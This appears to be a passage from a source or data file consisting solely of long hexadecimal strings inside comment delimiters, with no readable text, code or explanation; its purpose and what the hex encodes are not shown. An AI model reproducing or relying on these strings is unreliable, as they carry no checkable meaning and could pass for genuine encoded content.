e81f94305d2ed611f2410bc300ccfd04e80a2ac8c98715626dbc64b9d9ebe12e3fce3697e7ecdab025ad869474354c1ecebea2ff6f22fb458ce640c1b1212f30e2fa7cb7e8de73481ed9a199b305ab65d5798a09c7a9b885674de5275125689df76e4f92524d83ede220118568e1f35b776566e2102a88c57f63b435a788d279fe389135d544cb52d934abf417ee5c72c30ae544a54e9aebea257e81001922eadbe358686b8cf90872d499b9311d28935ce4d5d7cb1e77bdaf62e59e87385f7f4c2a473cc031b88ebbefc322f4eda2f21c2534a0a25d69df95a7560d4d48412ea82edb3395b59fc005cedd06dd64e11aba702dc67e19e4d3d9e97fe5ea3257b6ddf8108dc0344bfa3f47ccc141f7d5a4402ac5b88fab7113264a98157d97d3d8ac5d1b133ae530e7796d270e9475723e1b0e961b0cab4eb5b1a6d6a7d0abbc36558644aa425a6121e6f8a214fc565ecf8ec575b16df9e5af2f33cd7faf26c55f5231539768ec0442152a40a0d1b8b08867842374ea7a2d5c64b3abd954e845bfaf0e799511349a4b008fe41ec8ae067c54fcec3af266bcd386e99ec4b6a53aab7f418f26227becd474662c441d3a5c7d48da78fa3f2ed0f96c3a41bf3aefa43ef0def0b4d4fc94b1dba453860213d74cc0df58e326c7ce3daaa1ff839d13124707bcc7cfceb2f2f1932facfbf489727870ed2a8fa637af1d584bfdf8e529069cfa7769f91c07e035aedef61c0e6be4164e9b35be54b233f13241ff9502de660249d0e14a6ea367915c2ba98b7bdec636a6d90ea647eacca3d53764de38e23bbadc765205571412c5d4e263ac75c7a4e80ae2038f1c0d4b3a39972f6288c8a06e5467973ae2c1f795be5ba2f13a8b5952717c402d348953eb606387bdc816bad8be91ffd9dc7529370d2bbe8676c055978dec45238cbf17c0f8eff105cea6967bbe1de93f71efbf8c2f74e82351c65bb96c74e970f237ecbec02080420a6c20a1a27248f9998aaad9bb0e99f3542adcd032e351ccb556e5534d4bfd82363a787838602dca02253c8c36be31e346831f5919044188bffc1c143ba51a4500443aa185f021a66544eb44eaf985d9b8222474061c0173161fb674ef2a29e19b8a6b69dc6dc8240489490c4bd4cb1a912f796c813f64486470f060c89c600ff6633d365d10cfda4fee7995c98c7911b8762cf6b57ef476571c92139398a74f1fcc5e749717c6ca0fbb5bb3d949fa4d8426650b0213382790af1c61ea4753a107debd75f5*/
/*cd9412a4a2b4fb8ce884559cf98c7dc5daf0c639e490bc9d34c94a0198cbe3fc8b43ee4d242ae5da22dcf749b6c28249ba8bfbcc80221e0743ad4ccd2f78158b6bb2ee63e2b2938ddf1f245a19e645446fd88b11125f01901772d1b0be67b7973fa3644f630b566ced4f622e0db065f7b0f43947f1ea3383a69eceb75c491bf7a5b360b34869060ad1c96e70df431524e69e013471540b4c3e738b24c3b8f43a28eed3f6cbbe6927c19ccd50641989816c87488bf717eff525b42dc6f90c4134762e5bc40f67b7eae4c1a39d32e82506ff9a9d38344e48fd04f1ae421ae5fef676156fca4f7fe7587c7f38310f6aa03782c3b27907c48939c69e1091bbede4681b26336aa1c1f58037a4c75261ed9477a950292571683ab058c4c831a3736f9d46069387c0c6112a54eac656db717c3cc3ccd59c3b786f7f8e3e3d62ac6cec226abfd059cf5e14fd2fe08c0ec4080b083b2f8b7db2c55a30e487e38521b8897fd4fba5a859d82f683a422c132d0a5e8a3e9388fcf05976c1a16985e1cbad04df6eb0cb6ad3e0bc88365bf71e57ab0b08b6525679b196f7fa32c3178e071f12fd5f99891a47d55f16a87c159af909a9bcef15703948c19fdaa872de1323ca2561e9a6265d295de8836395b5289802f1421d5e00d0407745a63fd07e62a03b98e7294f93e094eb284bde340facbdc834f21a840cad89a14613d309ce6a91ab494be41b1f8b0858fd1038c524a00c0190ba6f074b97e2ca0e55c5d15694f23450faf0c653e375db76e3ef5f19f4563e551abf52c1b60ee748105dc9e949c451d6932534e39a1fe03eaca3d406b59f0f4f08049c281c02617d4f53e128b9a26d6a117ebbd901b7e397fde667e9759c396eecce3a0ab4c17de05207faeea97e91c3830f85e56cb5816d465f91b324fe455600d364f90ac08c451c80f176a1cbf55eb8cbac370e84c637374846891645183a7bfe207ae6d4de77be933dccdcac7b6abe210ac93b17705dc6b2bd4aaf335f1de56248a44c32279e7549e3a29ced43789a58dbbedd559adc5b7a71deca9d7a605081e7acfef9651e605fad1e40c6a50648ce6dcaf5d57b24906d70b899cabe74a954f8942ae622cb935c420d5274feca068b70cbf24baf69576efabed5c7ff37289593663f912d3b3926f19d72d7c96097443253a9410ccb300624eaf6ee7f7e4aaabbf8d1673b8cf8ddce502d8516bf4da813b6af578a3fedbb639ad417d81a8b65cb180f83e81a9fd9e54e3455592e563ec367b58f1fa9e9bd131f080207814cb8885af2c8226e797c9968618d17bafea62235fbb68f6c8a97f9326d4d6886be2d1dc3efb608d3887dfe0ad44183459b1c537ac5547bc17676ca1f649e678613824743bd09882a034e4ba6cbd82df7543fa4ef6bfacd287ec5b50388dbb366b194d0626277f25aeaf39e64f6b23bbb221f73e60677fb7f4b87df76d03e104cabad9e55276b4846f53534f7f331d1f0ad1e278ad866746fbdccb6fd59d9e8b24df59cb937b6b3ecb3c7e6659fcae0d262a89272b4e2b42fbcc1898eccf8b8119fa72d97fc739a7251d3ed397971d990ba0e97335248cf2eca662f582622b660b5f7138932fcffb3ca623388c68747ed5ce699275cf95de547778eafa97ad4b9e4aaabfe866f1a353f122fb463151f3f4f7efb35b565e6109696bfb13bb30e63a169ce56f9d72a601eb41b4c335d31cb0312f7016fa5f856234aa6ab50e8877cfeba0d9d3e84477e8c3b2d29b4d4c5d84e95db794e833be29494dd9bee34d9b2a67009fec48fb775c175df802ba0b66f33f9938144588a83601041d5b0b6a47ab36d60b0c80a5a9c20b56a6d1686e6e4d44c99174bcc0a05e6a7ac8b07c02246be3fa67d8497547cdb28c9539af7ece746515269b80f4f1d0f8e07b289bc950e93854cd05c594c24711cf983422c0a153edcd476d88909b3261e803b9972b63bd03a7adf582fbe56ed1c4adb79413cf853d395356ca10e4a1f791da93b3d9994e99e566b76b8a4ca12426abbb173145c5e166076ec0b814cf234209d6a787611d508fe5c482b7579a6570ee9752231b0a4708b9259cf058ffc20f8c5f901e463823ce9cba4ac63a5f2372d3f269f5b16627afb37090bc3e7ea49151a94b32e4626cf53c31581928d58c3b00e7eb1794c233b4daf12bd2d363e101c189f60495fe2b2870af27dfdffe8f56bb4ff94767ff6a3d44654424bb610199cc0687892c39e6d7f31ca42bfa12e891b2697c4e69285249dc4ce9b034773fc6758a0ea25c0d993b5c87ef4febc2878446c305b8a98b3ba1f8984b7d2fab71a0e4ea61051ca932c0bdddb6675a9c9fe6a2925dd0e5b33d1bcf6a5e0db4cf68bcba43e604cd3b0d78bcd2f5f354cc879a50e8576d08f5730892016905ce83d75de042bffdc2e845159354666cc060378e74ddbf7876e696e890de49a1a4cc6afd27f6c1eb875e576cd3048156fb89ed3b7853d4b47cf492c06a6b16d4ff5c15672f77ca66b72081532878fd7ec2a5d963bc1d7f49f7b04f4c2e06a6b3d41cac33121d25fbae8296344fba4d0580dc0a43b57e3925c6cba711bd182c75da64541b85c6e92fedd2d7701a39210f1f073339e96eb78383e1f94de57153ab5fe0dc4ae3b5fd4f89ea3f4aef9ea300d9631ae5e0443fdabd1ca3f4c0ca4b4be5fe2e25f0ec65ced49ca81e8ea74f78a7e57a31672ddc807f7965c6f8e0fc627f0c2b71af64b1d8641d535399ed2359e0d625ff2302454d8333a45b42e6ca236313748db17c6424046a23b9ab94b005711705dc6ad38fea18d4a6d4e264d2ccc148c5e4c36ceba3a4ace*/
/*0cdb5cba105b8dcd09de4200b8b263911781d1295fcaaab20a8e14fd764d1b275a3d64f5738af2895e6669ebc3e9d0e34a65db7725019df3854ca7987cbee30a43d3a8332cf327d6087de8af43dd482bbe257c148df6c1810944edd775c5a93a17da82a8cee9f19bbf31be9251352fab4ea1f2ea46b462afb0ba81a3ee534dad9354b105526bd8e7e571b2789e8a2f615179105efb85839682bd2401f2976a85d17dcf713b1ec1cab72ef407e5cbf63a70566d5733a6c8746d9b42f578e4959a7c207cbfb295e1f251b131e37c0d12da192dddf325b05687691f9ba9453bd7ec1ffd0af9e21ef38b04cf8333cf49672601a6536ee0b6e093002050bbd210bbb721605a27d94dfecba52542b3a031336367c9da1bd55993aa3e0451718aa8e89a4f07f967cda4c9b5af0a15fe81132df1ef599467c232e08198f991df051e63685b8fec6d3599c4661bd27d7205f8b0beccbb30f5d16ba1333dd35bd96b18b3d66ad85131991df93214b01d82b19b905233b26bc4c2b958bb3962d4df61d82533f45d8b905515bf33e8df08d85189f3ed4781d65099687b2d7992fa3101f90fbac8841249cc1d99262580f6e8625508f27332758b8338322280708c3060ca212dea72f5a01661d605898a3895f61769fa1c85a5d891c9929e420ce1b1bb5a95cf0568264af58c3884ca43000b95f6e904aaf992ec5d24e550b4f2f9d032c6331083ae73ea730b651cef647749c95995dcc1212b430f0cdde0a9113cdc743cbecb577969ee2ba774d14cc2d8046aeb38cc4adae8c83a3fcbb74e7fb6a9c82a6c15dce6e684e264ba91dda9a02d595989acefdf0dfab102c5cd4ed0bcf4a00c3e9e6f1b8ca023627f51a75308052595bada75b480db12bcf76b43d7f7a961db1f5734dbc8dc213111df03158c274c3be8913706e2f3b8572f6d560a615c77e45a73922348768f63ef86284b96feeea2cbb8731ddfb0e2c475532480e7629e911fc744b0784e7e55fc802abaaad72d4a37ecb704def266e74fbdcb19cfd0c3bf35eb8b7eeaa8fe890577f6ed1ba1fdfcfa63c360a2981f20925c7f9352746f6be0529348237577f42100e1ea78373ee41986b4d183f0e55ec16f20a891adceec10fa6f4a0cb3adab03237258e1a2503ed2fbf47971ec2f5550bcf728d1a09f2c26ce6a2082fe51cfc7b4e97d556774d867b4e309faa2be5694423c19bb04e910b58e1173eddb9c7a7261e374eaa908d202a52d205dfe01bd4ac355c5255df5f4ad8cbbb180bcaae657ab2f20bcd801a4a85f339bcdd0d2c9ac1455b8dfbc237921bccfc12984593416e406195eaec43d3318af3ed4cd8dee4c8818c0e80e6c0588bca3fb1bf5f70e407bff1f658c4b5450e04892be5f0f1218cce605c89a03b70a811707606102642e258ea0e6d31d50ff592ed76a008d7da523d3aac7656722547efd0e9fad0574c741d9283fe7e0363875d9f39263651b63b1be184a756ea9fb93ea61a25e5346d42dcdeba1cabf2d6c780da76551a9c0cd52c15a906cc1e0c374aea1fc5ad90e7cd8c6c82105f8665d6f18432b10dba3e172fc7f1dddbf3f3e1eacab00d6400e9d3d1f69a6fa738c06bc7d025ee790b39bf2c5ce8e8bab26c60eb09fa7686b12313abd6b6d3e4a918996c2d9ce91568ab517bfa030fae36a59f9f5fddaddec6d7fe9ed5438f2c4d0aeed5321a3f72b09ad41ab4e677c8ae876000744e300b3b58d492059604a887b2169a2efbd8d322e3d21be5a0b4b51b82d177e0aa076ed290351b773579050c35af942dc1fb26371c514a04fc764c2d36444e9179d49590f2901fcbb2b691a6355d868f81330fe5241182e193c0b3a26cb2077279d83df379b74fc9fb55c4385dba31dc5485c3c3ba5ba7fada1feeffd12b3dd875fc8babc98faace52f55ef84eca66a1c5eeced14ea383568333ceed6f6e5fd7c020e8e3573d20dfe851dafc150b4229004732b74f96ea95fbf347ba49f292174c0c1085309e699078c97eb4e263f3bb46fea521255997ead293f1613d27e51c1eb07d87e8bf26014f6f90028410f95e02b7db016879375f0b2cbd9e4b34a52758571fdbd39d4893c996ed72a764316458119ab18e355000272ec7e69c5125df53c20e8838d89654535c9bc42235370fbe3d33539b58b36bbfc592d81b270b7c4b391da5f4c6254f06e70b5fd6a7b9791ea43c477eee54380707d61e805b1148c69aa619632739ae089a9dd0288291606f41682bf74599ec5a07e86f4e72958978137669f8f76acfe71046a3ad546d57bf3ebdf48711bb3f2f61ba2314ab6066b6145ebb54b49dd1bc2853b25218e8ce9f0e926c21d6b5cd3ab6ed30a5f072ef6389e2db7503c80d60a93f95fd8960fefc700ab2c59fff2f5756aa70af12aab51e349ff34afcf46a694fc007e4eedd998e98a89b38f18cb3425d5e151071210a851ae3f81d348e7fb3ca4742469adf4322f99f7902d16019e7b4e4ed2ae42ad21bf7039a8547a312087b86abe3c4cca9cf12033db53c7d0bc4d706f8f32d4009e668b3c013702afc765735b3b7688671da375c07c938748e4aacffbb5bda9fc0c9ddc853818b284a3226198880070036df55943f8074bf8484aa3ef747aba999870d646e414662d8985af1abbf1b50b85e21a3c1e9f2b10b9215f1adb0673b9f13758cf4e1817d140cd3cb4962b1699b759dbaa6bd28880f660efd2f6c29df63e45a220b60fd00bdc98111c9a2f3616ae2c0c52673916ddf7729ba12ddb237c0d53aadebff758e16e3c3944e2b96ffb9f16497de54f3e5a9be788b1d666e30a3b3586c0a6c8b7517d8fdf621f82eb*/
/*89fdb89cbad0d6458f1c5c529ace37d8f88e9a06ca8412a9e9356a59ea9e715870a59414e631ecfb89eafcac13e15608cfb85d59a586a3a280646b790104114d5bb0f46307e065992509dcde5e927dd4f4c0856329d67a09dc66bfb4df8e5906d405c20c051170c19deaec2a1ae93d36399d43abed18e6348202b8be8f47c8a975bceacc72295b460e6800cb771e053128b5b3306eaadeb3023f954b14849f994aa42e9a2d62e3b8690ca7fafaa633d560f05d06691aea6623988e5b893046d68c0ced180cae219af03b58e50640a222de07c8b326f3aca1a7d9325f2d8ca08c057643908342399eb6791a7500eed0012ecc9db5957379fe2c03389c077d2cc2c114fd01723af172d69448e0617aebba37ef251afcfe84314b7945991ecea10323661c0606aa0e43aa330bbdbd3dd5c657d040ec1b0d1cb4d19406e4fa8829349d8a312a2413748c5d54853e5827791f4eb4707408787e19b11d937a2fcdfecfca8d7552acc72c4cef21fba42e797c1a63fa329a59f5d1735e572b6f984c85f4b75d9f468b44512aac59c01ae8681594126b880bb25cb4a60eb6423f6f67b9cbd2da0c72603786da9c5fbc715f6127d9627f57aefba220a5e536cbf2a9452c9692145b49ae37eb29542732812e95f90c9d99c7adf5451b15c6655aaf84449fd596936cacac2737adb8928341742f60d972de6872a29df3092b36e42ae73661ec8dfc6827de5801792994a000698930f9af582bfa94c8894fe1e9f689a1de043ebb81c195ebe20f25a91853395b5ff06a81500095d166862a57066e97619d08946f1f93b1aa6f64abd8a9f6e020740adab98594ec37c490f1f957adf89b6d28027de3052d2e1e44de6a2b0cb7da43fc6b71770958ddc9971444572affebae3d56cf42c2c39d9e06ca187d211397fcefa8f3b666ae6dfca83b15ba2623d088b0c7d9e81fb29aee0a8d1227623248172f8beca08a2d84110faf53d6cb46dd60760bffbdbc32f298c93ca3679f8deaf93795d500007dbd8d525501c2023eedae40bcb93e4f2100330498eecd0af43794382beafe588659af91d31a147c5b735bc7a590494a6952ec39dc1d9b2c034eb661e5bde341598527a039a275522fa2954be1602cae0a8a39b0b414e3626d02a1d194a3c3b36df0bc76252789864820bddacce0b77233d73a6894c7cad3429f23df0a2befa76a9e6bf3f5b5fd9303e433f8b77aaf9b026ddf827825ee28c585f0e5fc49c28e004b54b113c847081b54b5d6c1a02da036752e2656cfadf1a9cc316a62944fcc224f244b0f2d1504036aa42483d1053f6699443017379be05b00043d0fbb2783b6d8a108d7cdff7d8ecc63f1ab4be2cbf16b4c0008e1b669dd4b9d60f85f73034405bfddfb8e22c7b183a8673fbb8bea5551ae360a451e179e5645d34bf62324231e47c1d666dc9bcf359d2359af39b96806b5de17b8d384621ae710f9a73b591828b8ac0ecc6ce56e3f9734881a194239d5e0b097fdcffa4ed984d06b71d560fcf4244e998369d9a2fa853598342a54316fdce09676ebba8be819ba41ec9eab5766bc3750e3ae840a90cb64b3a7197c12100a4928c56e9bffeb54208e0b0571f018985a26d450c43198b6bb0781f6ce34f9c56d78b6c1f71f6c56a7a7d260066ae595878c13b6cc48fe53887c12fca136f50772ddd210e2592061e03fe93634412134fc3a38dd2d7858dd50f6fea5dae87e51a7e58884e8d16e951e95c01707d45486d23ab38309fd612e607a7d357198cf09663d0ebdd47ca25122704586030794f545dcfb3bbf2d46a62eb02344e15babb2f986ad748be1dd28edb72f4b152885460e89cf7be3f39d33962a243f8d2226f3e3c1c5d171269ab9317ced2280f4d1cb98e2a1a6d76c2f0b2284dd3a74fc20820604218600c48a1affe46f48d268966d56c0e5d01ab0ba0bfb3076337c91d84b46d405be4f495890eb48dae5a1d42fb51fd9119b1e6454216bd2ca02568f5487d89add1b5141ee09bd3d1b944d561f3830bd44fff0a1af0b538fc26214c45c476c522f291e3efbe1cddc0959e11ce98dc283a93996d0d4a0cf8953538aa942792699760113e84cff7ad646ba89f6ffc661a45582cb355b67229508c8b5a93b60821a341517ac9e50081568c6c4cb18b786fed9bf71a3aa6e421c73321f7fe0e07e509c0bec3490b91ef92d99ae278f22aaf1f46fe152e0735ae1c067c3019d29d60d700b1dc57f87ac400fc886d00134f6adf177488b73497f88f730f8a092bc3f7fb4036dcaeb70e9b57939a21fd01d344a7257c08a5ecfb353fa6748bde854f3d5480329cb92b2119fee9909b7b0f59c0bdddc22d0a003e90a9ace84841aaa9c587f9240218c47e98eed9e3e41ed64c111eec7ab9bc3bfe135f37b0cc627bddaee7a5254a45db639f13a2d8d09f451b4f139e8497af370f886f457486e94d73bcb0a600a290726487994d6bc2bb5b65ad394f3ffeefcd2c00f40ec59f4c03700f2f1cf2e6e934987d7cf1a4db6d2162c95d861fc598fa42d6f0b6f7f0ebd038e4103abdcc48aec498db157e24ea97779193f8938a66442eff438a5a56aa2b6fe1d7f84e8e3d5f7291eb537a6fe06bb854a286c36edc78bb6c5ddc971c64561f61606e5cdfe07433f5a6b41c3a7324f43fce83e67564c11aad3b0b9216eca364e3fe5b7fa0e27df85a65f7e6e988d982e0290579f754c6e5567ecfc462ae2fcab80b1cf57609d564bbdfc9102a7db5efa3c147524e1bce43c31c73e2c895056f9efe440893621a2f6c1e1ea46f47aec19cc619c798ef39309c0d104917ae58eed458cf124f0c568700d*/
/*06754887fcbd4d81f42672d06cb51c06d93d8e74e0b0405c657edf55fcdccb7acfc59e264021269d8f08602451a0643c413177e4fe81f962b0086738c1950172e9be6b9a2303be7b2f4501f5c9c40e411c4d9f6b36abcdfe6cecc07ac4abcf3589ecd3505fde09bff661d09630f2cc9628faea86a3787df5ef35347dd717034ddb7ff6a062eb230df36a22c35f7ca0cc5883329a8aa36e85a99548dac52cc0456b1ad13b92beda217d21e3daabe521dfa7a026fd74650336290b44ab23028dfb0b4fee2eee8d009090de10a2bb28e2894e1fbf41845395d0c48debd10c2b72e0471d267293039ab6869e21acda3e1882ea294329a4eef464ca81f89f84225358561592c364430d9c368a079eb13a2d9e0b75dda7b1677d564141590d35e166e6d53721df8dad8455f8996d719cb6a6bc895abe6a0d58d76607238c996ca02bcfb69c26419d5414c766908e815e887b8943bf6b54c7afe903d3b6218a846870b5651daed98978a119313cbd183aaa59cc87a8eb95bec18af6ccb1212c69168e2b28a9cdd53224c514140e53509bc4bd64bb372c686b4f98cfaa8447ed79f5b6283f0b9a4f73d06b24fe478ce22be662f57b3a8cb7814d9d9c83ce494596537694b8c578e7193fd0ee81aad91d8b4e0ab500ee15f416e61b481f0ab36b2fb81605597868eca932d462581789285309e5efbd526c57b6a3d3d00a6bd3e28113f7b8e2bd2d2b5bab60ef7c36063c244fe15c3be64ef51774212713315b01de88d2442f9827705b3026aee77ab8834eb7fa68f187616d76413cb4674a5ba2c45346a7538330a5b357a00f58ead4df32e8763ba12a9e465d204951ba79625bf21d879c12e1c4ea6989cd68462290dae51a7b84b775c3e23c25d173a2ed7526352ed0d3bfbc3246e11fe1b1f3419420fbf47aae5691ff4b865098aeee719f1df78157c87a9eb5bf9e450ed101d9f0dd6100d3a1256d1cb5413dd878f5dbe2970583e8877d561878d1c6a0cf38441577ab3d6c4b6e30cdabe8d3fbd7bcf51821aea2bbb22847a54e6193dc04605f94729e83d2c94e9582b34087985913779a2a7d5887aac60bc744c014e1c2080d60f4b30d095a1448bd625359a6635f9c854f184a11c2621fe6f88384ac84015297b481d018026659c6bae25dbbca5c7d18e9111fbe63df682763d187994952fccb98d5f97bca3a4e72f92759ae9c45d16522a771394838d020104de5a72b2eb71226f0b3805982a53304f4889aff6710a471fca338a5fe42e2f9c8a0cac6ac816e64a36ce79c56bd495b4fe6ab09e38eeeff4428307b28a2ab853b69c79c51aba689ca1120882c38dad6c3f8b832506645931cfd16dc7f423adfd5f6ccc0aec43ad57b30c4e38d81ee103a580423f1368b2ceacc2ef1e534b8e8484a7fff743069d9d1cfbc0be894a6c20fbe1b87c9b2a1c38039edc2f230418be6a4f72988055e0ad3b1f7441f0ab54fa9f5b2db93a3fd8b086c77ddbb9c4aa41a68ec62ef83be3a6c20084a30febc0537b569ae6785015c01bbf189b688376be5a373fbcdef1720a113df66074848f21fba8050707370d65eaa75aac4b38442b79fecb6bff10df1a0a31dcacc23d5f95a461aca1e398c7a2b3c0190bb1e2365fcdf2849fc97612584ea6fc2d9a510a251a67e342d7e6be8173aab1e2ccbd6ca67f053d3509fd95899e366bedfa61de7b598643dc0e8c4adeb1c57b24a3f90900a6733a088235cc28d3e74d3de2929a0b69f94d8e43fda7bb6d58deec17b505b407a8e6d8df996f12ba8c28e5f08d88f8fed2b3356b187ccf48172fd0bfae624a914ba0d2b3b8e78b6bc4206bfe9b750d011d249ab99534ee69f5ce71873f62af45234401b5d69c623074198d79feacd64056d829ebcc0d12a3fbe886de5942493fc872f69d37fcd779f0c41a096663349d870ec3bf1400ea8c9f9abb02e9d9284217b48f401ce6935122ff2262af66b9178122e3af65a8ef7594a2c25b419c5e0969b2292df174ef97dea9710a80b0c68231ed80f5e1a0dccb603fdb8671fb8256e4f74b6d0bf693b7fd43a1a3d177d9f0fd1d2aacb210d94e15944efc8fbe59027cc88d71275f3333a713ab5187f9b525174f1c9874299441600103c1ca13d0dd8240fd0c251fb5bddf653414ea9d4f023f3206c1715194d8a038fd618a8b5880873512200cfcdaa5d20b27450f29eb0ec71dfa3f0b5b1674ca1ff4cfcd153ad27963120b95f8241894fb6291cd69b9eba91df904b232f0ae25024307a6ae881682cb2057943acf3d697e95d2274eca49754644e5f28abb4ec4e9d8f150bbebd4bc0204cea76e9473ae245dc761a8c44b72b072cd4936af38b30acc145b8f538e0cc53d67e064b18ae09d75c21ded3ba4c7063cbd1364ea743c8767dac8727f4d303f763d4c30a951123554236a9f60359452a8e6f14316afa3d522ea08ae9e4a1b1b8747ec90cb29a18e20cfdde4272e0dec570cee45b29432b7139f6ef7b59ea9d065382276d64048d859377eb3f63d3d8028c5a2264d696636840b352e6b349cf22fea7cad94cd6fe4e9b1a80999aaf26b2c1c751d1ca68ac99349ddb6da033e15d4d587d6fa7009cd3c01d773a6ee6b3ac3122f9eacc0c91fb09b0624a130663a8bc64b7666791730ede91a528efb2ae4ccef353532eac4d4e61172aae0d6d8f3a3ccd203077746c091f80af119f41693cda7fe57616da60e3e399d62edef0423bdb50f83e8caa5824cbca4b309d961dcebf7cddfaa6d165baa256e8e05d0008f0a4b90e3acaf857d7aa3b0c33921d688d672f7dfb9025fdcfa217d845207fe434edf1a45844ece1c4*/
/*e85b1df538c0e43fade4201162b27cf3264f4db184a8c26533caf9230ef7dd17af67ea8b2a17de8f02368f971a545fdc9ffe77d9920b4a52d7d4f57a2e2b8d3f6cd7692695e0fcb22db26d60047b60cd2abd0afcbabaddc9760e43333d7e5b5f22718a19a32a1be5d0f89c05f96631436794994cca72fc574314d127f2e15c7e11e7c5ed58125d41ddfecdba05edfe3baeefd7fc5259beac7ab3e61eb53f1c2ca763285094a08a5e8f7efd19bda7e99a1b789d1c0922307d694abf7d1ea5d7c16256801a8d7aa103646140fa1b1d631983226a455b3f6f291c5442c95cc87a10e026ecc0bf4a4e92091b17b48f6a1fd7b80bcf023c004d80ba6fc0ef903c69cc30f6c517d86af0b74e5cedb0a251da3da21e8e3ab3df6cbd608950333c1e6129bd1a5db05f6002a319a5fc58d968e8d96a566e6602aec827c2933bc158f44d0d0ca10850dafbc7e33c1445f634da6cf052a721c7ff28cee3008f6ae16390badccc4dcb79c1232ccf9a5d74f924108d3818605e5806bd910ce6e38d12ff7aa3b24235a50bf96c1b4e97b31da5e564277a1de2542a3ce48c656267e6f5b62ec1d2efab97c18c30ce825336ad478197c050ee0d9e6c78011a47931fb09e29c067b298faec120eb6a121db06a2d3793c2fc978878078800be2007ddee84e79acb004fef3aaf5766da945523ea868fa813f08c134d3dcd061df016445c023b595a6de5e4ffd5325f265c670d2aa174fdeb05b9df154ebf9a9fc5fbc65a26aaf7bdcf60da2077b1b05b34a20e5b2552f571fa86547ae4f16b7782d97413674a569791cf490b217a431183363ef1b259c0e74373fcf5ed96c7bbd69d165c43971283bc7257bbdd537b8db4516756d722821bfa3c4e7442428001f40c4da7c40f6b2ac49dcffa684a970e3db129109aa39c4b09ac93ced1245a3cc05d0bc9aac6a919348e9961597ed92bb2b40474f01e28993bff23ad8cb6c908e49ce75ba86f356d72c6b74aaaaaa844a6e06745afbd373e9a2f544ba03f2006cd463d256e2aea7bb1e5273768cbfed8ca8e320ee7dbe81ece39a1bbbb1f9448523b8d9f3293b92d5669d72df07f41e6945c56c7fd0e63031ab2a878e18f3c3584f31b4e89f9c27a2cb69a491f459b9f0cd881bfc5013093996477296d3e1c658f659b0cd9d9dc9b20be572bf503b2e6a484f1b72df2496eb97d94402e0c5fa9566a3f12e56a6279a6029be901505ab8d0a816cda7f2e9e4053f0c51edc79a38332dfb567dcd6c7a00ccdd42a44ad6ae8b3fcbf4c2b0e7bcf3ea48f87e88ef2044cf42d6a529f009d7774f870aeef9c49742559a031a62facfe086eb50e31a603c62470b298b4d5b849112fc5f9691db7a481337c37082b2cb2dc66a5f9f9c8ca9390528a1660085fe1367359c653dac1ba665246784b1c57d3745ea9fbf9e8139cbda07052128f8558f0489201e62959af27067ddecaf08fe1c15ce58af0167b117645a43bf95a6549ce99dfec1c82d98ba0e2fc11dc5a28dc0b845be798ef2f2f73b96697bfc3f0fdda2c6db408c5ddda93f98c6f429a875764876bc65582785bf1c10d2a149ccd5735a9be14bb9f279648ee3a164fb13409a1a2d30b90155a7bcdad3ad441f9d5dcb2231b4f8861c85c460cb50870f7ee702bece7b7da91ec9ff5e6a1755298e8e0dff44508c87605b8596c63c4f8caf6f9389457fa4fca095bedf1030e2ec6e566f0309999e9c414cc3783eed7fd1bf1f4d811f3295bcd7ab4713e4d9dbcfa89160c60774898bdb3c4d3686e2d51e6b0421089ccf3619103e39081507da2f2f139e20dc18d3804946aad1276386fc9d6f024757165edf85b40c91e9bec091e958865978dc39df324d3ff32e2ed24087fc885326a80ecd7cc073a552da0cfeb3440a4c679250f2081dcf97cd0908b331e786e4b7c283725fad3891cda27d3b7de104d246ba836e9a3eb94b9856eb04e63af5738af7bb54a6f84417950138b5b793045b7ca94fe1e26556404b7ac6de27e57be819b5c49d47eee1cf5fc845a38d79cff528d93314c265c4f70607eba7bb73e7aa34cb4d97c2102dee2d4123383bf86dd7695d64ab00f2db402719aa0b35fafa90c9cfeb4a047031fff1a7fdc674012260a15de40ba16b4899ec0ac5adfb639d30f94034b4fa0864422383a965384cc2983d2b308a1fcb393c169637a12f27995affce5efb3165b29431ba367f8990febca512a8a402ba781644d1bed9d9287477ecd1a07e678a4f30fdb662c3eb5f403f9fdfdb82cbda3ed02982f0e87c002d49af25734bda5c982134ee6cf14661436e111a9e0e4c322ff485b73c344d6781d125e68edcbf198a91c2c87be3c8e632ce8e2fb67ef4a8283b695ed0af48c950c30d4c9f3a7afc9bfa5eadc760a3e68918fea69425e8939314f4b5b09cb3e951dd7d8adddd33c768a75a71258ef657cc63eb56578b0fdf7aaf24a180febf116c589053eb517aa3a17a317e9bea63787e20a43ec883115a94195e1cd216ee7134c2590fb2b7c513f0b0779f1a9576e64fad95a1795f1132a1047bb46d66b3e6a5abd668b1094f5dbb2a5f74244f073901b79e321f75604a418a4f75363285245818cc3899a4a5119c17c029d21bffc3373e320f97b79098ee284f64860d93f076ac280e4deac09e35899e4235626dc418abe107e58a5e138ee1cf995e03b76c6644872cb4ec3a9296dd4215c52f9619045754717b129f63e9af5c95c6e34a6dba8650505da2662e1d2a90fda447c93cca3ff4813147a5024cb9cbf791a5bcde63c143c2d98681313816afa4d9723a973cdd1247a5b8c475c1c37be27cfa796aa*/
/*3d506f594dcfe88f97bb0d7de18a3b1143139a629c09ded14e504a581a4c000cfd1b3840cfe33c728c8b0281c564b243e371d648c9f41e7bfe35a59c948f03a67b64fa4af3ec06eb60f6485fbbbc5739917d6f4eea04ba9b8f9e1659024a523fb84bf6589f4b4dbb9c2f8de0b6925a218116a157247596ac32081e77b8f4f551008c75dd29e220eec0684ad1fcd29159e70df33fff71871e2008d13d33f6b03c2782442eac6683136aa6b67d2beca2c85ebd917456c2ace18912c18fba040185dbe0bcf008e5cfe8c9450eab91cb763428feca39621cc598ab7c3bbe623db630decdbd3384bf8d75b172e461c5afb3a62c576e20f46a0e23b9b53b84cd9b519242db111f764d4c28942605452c62b082f063d4ea308003f17a2d904c5c0802c3ced169186e0c0dcca0e0cce31037d9e04da6abd70d09b038499a7aace62b394cf227c7df43b416305e4b29393ec1b93a704b1742286ead03c04cbe326ef7645a090c1f248fdda5ca3d320b297e86871a9981e48f29501b2e6bfff56ad19033e4f869fbfe40fc0ffa99e1bfc7b1d1ab9515475de43e955399a28571981da4dffb589d00f667de94543e68eb48e206bb76ca47e3b37bb6c3bce600ca03f27147ed116c339661f4d9dd7975bdc3755824af099e126749618e0b1ba682cab300d82ff0a386ecd69a93aa7ab1bc3c265da87c9184539fb736767389d25af982c38a491c2f5db2441ed6ee9efcfb7b9e962f5da3224649b185fe5fe90d70d9f2efcd3e4ebfa75a4b01331bd11e6a70732b961fe6c4b017e4e202ce4cac2d93dc34c5952e944868b88c534947053602e8467ed4dac4c038d45519992621aafa3ba2d01b0f6c04a0954896ff41b68086681866f93da203923d3a49ae